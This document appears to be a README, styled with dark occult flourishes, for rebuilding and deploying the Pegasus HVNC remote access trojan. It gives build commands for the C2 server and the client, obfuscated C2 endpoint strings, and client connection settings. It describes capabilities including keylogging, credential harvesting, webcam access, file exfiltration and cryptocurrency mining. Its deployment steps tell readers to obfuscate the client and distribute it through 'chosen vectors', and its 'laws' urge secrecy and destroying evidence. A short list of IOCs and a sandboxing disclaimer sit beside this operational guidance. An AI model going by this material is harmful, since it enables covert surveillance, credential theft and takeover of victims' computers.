# 🦇 DEAD RAT - PEGASUS HVNC RESURRECTION > *"In the shadows where light fears to tread, the wings still beat..."* --- ## ⚡ QUICK START ### **Server (Control Panel)** ```bash cd "Pegasus HVNC\PegasusHVNC-main" dotnet restore dotnet build --configuration Release # Output: bin\Release\net461\PEGASUS FULL VERSION.exe ``` ### **Client (Silent Wings)** ```bash cd "Pegasus HVNC client\PegasusHVNCclient-main" msbuild "Pegasus_Client.sln" /p:Configuration=Release /p:Platform="Any CPU" # Output: bin\Release\Pegasus_Client.exe ``` --- ## 🕸️ ARCHITECTURE ### **Duality of Shadows** ``` ┌─────────────────┐ ┌─────────────────┐ │ THE EYE │◄────►│ THE WINGS │ │ (Server) │ │ (Client) │ │ • C2 Control │ │ • Silent │ │ • Dashboard │ │ • Persistence │ │ • 0-day Mgmt │ │ • Evasion │ └─────────────────┘ └─────────────────┘ │ │ ▼ ▼ ┌─────────────────────────────────────────┐ │ THE INFECTED REALM │ │ • Remote Desktop Control │ │ • Keylogging & Credential Harvesting │ │ • Webcam/Microphone Access │ │ • File Exfiltration │ │ • Cryptocurrency Mining │ └─────────────────────────────────────────┘ ``` --- ## 🔮 PREREQUISITES ### **Tools of the Trade** ```powershell # .NET Framework 4.6.1+ (The Foundation) # Visual Studio Build Tools 2022 (The Forge) # NuGet Package Manager (The Alchemist) # Verify your arsenal: dotnet --version msbuild -version ``` ### **Dependencies (Extracted from the Tomb)** ``` dll/ ├── Guna.UI2.dll # Dark UI Framework ├── dnlib.dll # Assembly Manipulation ├── protobuf-net.dll # Binary Communication ├── Newtonsoft.Json.dll # Configuration Sorcery ├── BouncyCastle.Crypto.dll # Cryptographic Shadows └── [7 more ancient artifacts...] ``` --- ## ⚙️ CONFIGURATION ### **Server Secrets** (`PEGASUS/Program.cs`) ```csharp // The ancient incantations... string arg = reupload("mbzUMoegmlNm[Rma;iDz]GrS8ODgde|[z{8aCP`i"); string requestUri = reupload("b~~zy0%%xk}$mc~b\u007fh\u007fyoxied~od~$ieg%^boYasdo~Iexzexk~ced%^2::%gkcd%Zky$~r~5~eaod7MBYK^:KKKKKKHXHS@9H?SDES?M=G>NE9HX]SZ\\DY^K"); // Modify these to point to your own C2 altar ``` ### **Client Markings** (`Peg/Settings.cs`) ```csharp public static string Ports = "4782"; // Listening Port public static string Hosts = "127.0.0.1"; // C2 IP Address public static string Version = "PEGASUS"; // Identification Sigil public static string Mutex = "PEGASUSMUTEX"; // Singularity Lock ``` --- ## 🚀 DEPLOYMENT RITUALS ### **For the Server (The Watcher)** 1. **Build the throne** - Compile as shown above 2. **Configure the altar** - Edit C2 endpoints in `Program.cs` 3. **Light the beacon** - Run `PEGASUS FULL VERSION.exe` 4. **Await the whispers** - Monitor connected souls ### **For the Client (The Infection)** 1. **Forge the vessel** - Compile client with target settings 2. **Bless the payload** - Obfuscate if desired (not included) 3. **Release the wings** - Distribute through chosen vectors 4. **Listen for heartbeats** - Watch for connections in server --- ## ⚠️ THE THREE LAWS OF SHADOWS ### **First Law: Isolation** ``` NEVER run on bare metal. ALWAYS use VM with NO network. DISABLE shared folders/clipboard. TAKE snapshot before execution. ``` ### **Second Law: Anonymity** ``` NO real IP addresses. NO personal data in config. NO traces left behind. USE VPN/Tor if testing remotely. ``` ### **Third Law: Discretion** ``` SPEAK not of this in open channels. SHARE not with the uninitiated. DOCUMENT only in encrypted forms. DESTROY all when done. ``` --- ## 🔒 SAFETY PROTOCOLS ### **The Iron Cage (VM Configuration)** ```bash # Recommended: VirtualBox/VMware with: # - 4GB RAM, 2 Cores # - NO network adapter (or host-only) # - Snapshot before first run # - Encrypted disk image ``` ### **The Silent Alarm (Monitoring)** ```powershell # Watch for these IOCs (Indicators of Compromise): # - Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PEGASUS # - Mutex: "PEGASUSMUTEX", "PEGASUS_FULL_VERSION" # - Process: "PEGASUS FULL VERSION.exe", "Pegasus_Client.exe" # - Port: 4782 (default C2) ``` --- ## 🧩 KNOWN ISSUES & SOLUTIONS ### **The Missing PeToShell** ```csharp // Created stub in PEGASUS/Design/PeToShell.cs // Original functionality unknown - likely a PE to Shellcode converter // Add your own implementation if needed ``` ### **.NET Framework Reference Assemblies** ```xml ``` ### **Guna UI2 Dependencies** ``` // DLL included in dll/ folder // If missing, extract from original dll.zip // Update HintPath in .csproj if moved ``` --- ## 📜 LEGEND & LORE ### **The Name** *Pegasus* - Winged horse of Greek mythology, symbolizing freedom and power *HVNC* - Hidden Virtual Network Computing, the art of unseen control *Dead Rat* - Our resurrection of what was left for dead ### **The History** This code was abandoned in 2022, left to rot in digital graveyards. We've exhumed it, cleaned its bones, and given it new life. Handle with respect - or fear - as appropriate. ### **The Warning** ``` This tool is a double-edged sword that cuts both ways. It can be used for: - Security research and education - Authorized penetration testing - Understanding attacker methodologies It CANNOT be used for: - Unauthorized access to systems - Criminal activity - Harming others The shadows watch those who walk in them. ``` --- ## 🗝️ FINAL INCANTATION ```bash # To seal this knowledge in your private repository: git init git checkout -b main git add README.md git commit -m "first commit" git remote add origin https://gitea.thetempleofdoom.com/drjones/dead-rat.git git push -u origin main # Remember: With great power comes great responsibility. # And with this power comes even greater consequences. ``` --- > *"Some tools should remain buried. Some knowledge should remain hidden. > You've chosen to dig. Now you must live with what you've unearthed."* **Last Compiled**: Under a new moon, when the stars were right **Compiler**: The Silent Architect **Status**: **ACTIVE** (Handle with care)